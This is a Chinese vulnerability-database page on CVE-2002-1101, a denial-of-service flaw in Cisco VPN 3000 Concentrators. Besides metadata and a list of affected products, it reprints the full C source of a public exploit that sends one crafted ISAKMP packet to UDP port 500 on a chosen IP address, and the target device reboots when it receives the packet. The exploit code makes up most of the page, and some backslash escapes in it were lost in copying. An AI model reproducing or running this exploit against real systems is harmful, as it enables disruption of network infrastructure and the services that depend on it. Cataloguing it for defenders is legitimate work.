Cisco VPN 3000 Concentrator拒绝服务漏洞

Cisco VPN 3000 Concentrator拒绝服务漏洞

漏洞ID 1106955 漏洞类型 未知
发布时间 2002-09-03 更新时间 2002-10-04
图片[1]-Cisco VPN 3000 Concentrator拒绝服务漏洞-安全小百科CVE编号 CVE-2002-1101
图片[2]-Cisco VPN 3000 Concentrator拒绝服务漏洞-安全小百科CNNVD-ID CNNVD-200210-062
漏洞平台 Hardware CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/21770
https://www.securityfocus.com/bid/89578
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200210-062
|漏洞详情
CiscoVPN3000Concentrator2.2.x版本,3.6(Rel)版本,以及3.5.5之前的3.x版本存在漏洞。远程攻击者可以借助一个超长用户名导致服务拒绝。
|漏洞EXP
source: http://www.securityfocus.com/bid/5620/info

Cisco VPN 3000 series concentrators are prone to a denial of service condition when receiving an overly long username string during authentication from a VPN client.

Successful exploitation will cause the device to reload. 

/* ISAKMP Cisco VPN Concentrator DoS 
 * by nowin of Phenoelit <[email protected]>
 *    FX of Phenoelit <[email protected]>
 * http://www.phenoelit.de
 * (C) 2002 
 *
 * Cisco VPN Concentrator 3000 Series, Software <=3.6.0 
 * Single Packet Denial of Service. 
 * The device will reboot upon receiving this packet.
 * This is probalby exploitable, but we don't have a Concentrator to test.
 *
 * Greets are in the packet.
 */

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <time.h>

#define SPLASH          
        "Phenoelit Cisco VPN Killern" 
	" Cisco VPN Concentrator 3000 DoS (3.6.0 and below)n" 
	" (C) 2002 - nowin of Phenoelit <[email protected]>n" 
	"            FX of Phenoelit <[email protected]>n"


struct {
    struct in_addr	dest;
    int			sfd;
} cfg;


void *smalloc(size_t s);
int send500(char *packet, int len);


char	fixed_ISAKMP[] =
	"xf0x0dxf0x0dxf0x0dxf0x0dx00x00x00x00x00x00x00x00x01"
	"x10x04x00x00x00x00x00x00x00x0FxFFx04x00x01x34x00x00"
	"x00x01x00x00x00x01x00x00x01x28x01x01x00x08x03x00x00"
	"x24x01x01x00x00x80x01x00x05x80x02x00x02x80x04x00x02"
	"x80x03xfdxe9x80x0bx00x01x00x0cx00x04x00x20xc4x9bx03"
	"x00x00x24x02x01x00x00x80x01x00x05x80x02x00x01x80x04"
	"x00x02x80x03xfdxe9x80x0bx00x01x00x0cx00x04x00x20xc4"
	"x9bx03x00x00x24x03x01x00x00x80x01x00x05x80x02x00x02"
	"x80x04x00x02x80x03x00x01x80x0bx00x01x00x0cx00x04x00"
	"x20xc4x9bx03x00x00x24x04x01x00x00x80x01x00x05x80x02"
	"x00x01x80x04x00x02x80x03x00x01x80x0bx00x01x00x0cx00"
	"x04x00x20xc4x9bx03x00x00x24x01x01x00x00x80x01x00x01"
	"x80x02x00x02x80x04x00x02x80x03xfdxe9x80x0bx00x01x00"
	"x0cx00x04x00x20xc4x9bx03x00x00x24x02x01x00x00x80x01"
	"x00x01x80x02x00x01x80x04x00x02x80x03xfdxe9x80x0bx00"
	"x01x00x0cx00x04x00x20xc4x9bx03x00x00x24x03x01x00x00"
	"x80x01x00x01x80x02x00x02x80x04x00x02x80x03x00x01x80"
	"x0bx00x01x00x0cx00x04x00x20xc4x9bx00x00x00x24x04x01"
	"x00x00x80x01x00x01x80x02x00x01x80x04x00x02x80x03x00"
	"x01x80x0bx00x01x00x0cx00x04x00x20xc4x9bx0ax00x00x84"
	"x41x6Ex64x20x50x68x65x6Ex6Fx65x6Cx69x74x20x73x61x79"
	"x73x3Ax20x54x68x69x73x20x62x75x67x20x69x73x20x61x77"
	"x61x72x64x65x64x20x74x6Fx20x53x65x61x6Ex20x43x6Fx6E"
	"x76x65x72x79x20x66x6Fx72x20x65x78x63x65x6Cx6Cx65x6E"
	"x63x65x20x69x6Ex20x63x6Fx70x79x20x61x6Ex64x20x70x61"
	"x73x74x65x2Ex20x47x72x65x65x74x73x3Ax20x48x61x6Cx76"
	"x61x72x2Cx52x69x6Cx65x79x2Cx4Ex69x63x6Fx26x53x65x62"
	"x61x73x74x69x65x6Ex2Ex2Ex2E"
	"x05x00x00x18 -==| PHENOELIT |==-" 
	"x00x00x00x04x0bx11x01xf4 Eat this and die!"
	;


int main(int argc, char **argv) {
    char		option;
    extern char		*optarg;

    int			plen;
    char		*c;


    printf("%sn",SPLASH);

    memset(&cfg,0,sizeof(cfg));
    while ((option=getopt(argc,argv,"d:"))!=EOF) {
	switch (option) {
	    case 'd':	if (inet_aton(optarg,&(cfg.dest))==0) {
			    fprintf(stderr,"Address of -d argument not IPn");
			    return (1);
			}
			break;
	    default:	fprintf(stderr,"%s -d <ip_address>n",argv[0]);
			return (1);
	}
    } 

    if (!(*((u_int32_t *)&(cfg.dest)))) {
	fprintf(stderr,"%s -d <ip_address>n",argv[0]);
	return (1);
    }

    plen=sizeof(fixed_ISAKMP)-1;
    c=(char *)smalloc(plen);
    memcpy(c,fixed_ISAKMP,sizeof(fixed_ISAKMP)-1);

    send500(c,plen);

    printf("Packet sent.n");

    free (c);
    return 0;
}


int send500(char *packet, int len) {
    struct sockaddr_in	sin;

    if ((cfg.sfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP))<0) {
	perror("socket()");
	return (-1);
    }

    memset(&sin,0,sizeof(struct sockaddr_in));
    sin.sin_family=PF_INET;
    sin.sin_port=htons(500);
    memcpy(&(sin.sin_addr),&(cfg.dest),sizeof(sin.sin_addr));
    if (sendto(cfg.sfd,packet,len,0,
		(struct sockaddr *)&sin,
		sizeof(struct sockaddr_in))<=0) {
	perror("sendto()");
	return (-1);
    }

    return (0);

}

void *smalloc(size_t s) {
    void *p;

    if ((p=malloc(s))==NULL) {
	fprintf(stderr,"smalloc(): fatal! Allocation of %u bytes failedn",s);
	exit (-1);
    }
    memset(p,0,s);
    return p;
}
|受影响的产品
Cisco VPN 3002 Hardware Client

Cisco VPN 3000 Concentrator 3.5.4

Cisco VPN 3000 Concentrator 3.5.3

Cisco VPN 3000 Concentrator 3.5.2

Cisco VPN 3000 Concentrator 3.5.1

Ci

|参考资料

来源:CISCO
名称:20020903CiscoVPN3000ConcentratorMultipleVulnerabilities
链接:http://www.cisco.com/warp/public/707/vpn3k-multiple-vuln-pub.shtml

相关推荐: SCO UnixWare uucp Buffer Overflow Vulnerability

SCO UnixWare uucp Buffer Overflow Vulnerability 漏洞ID 1103124 漏洞类型 Boundary Condition Error 发布时间 2001-06-26 更新时间 2001-06-26 CVE编号 N…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享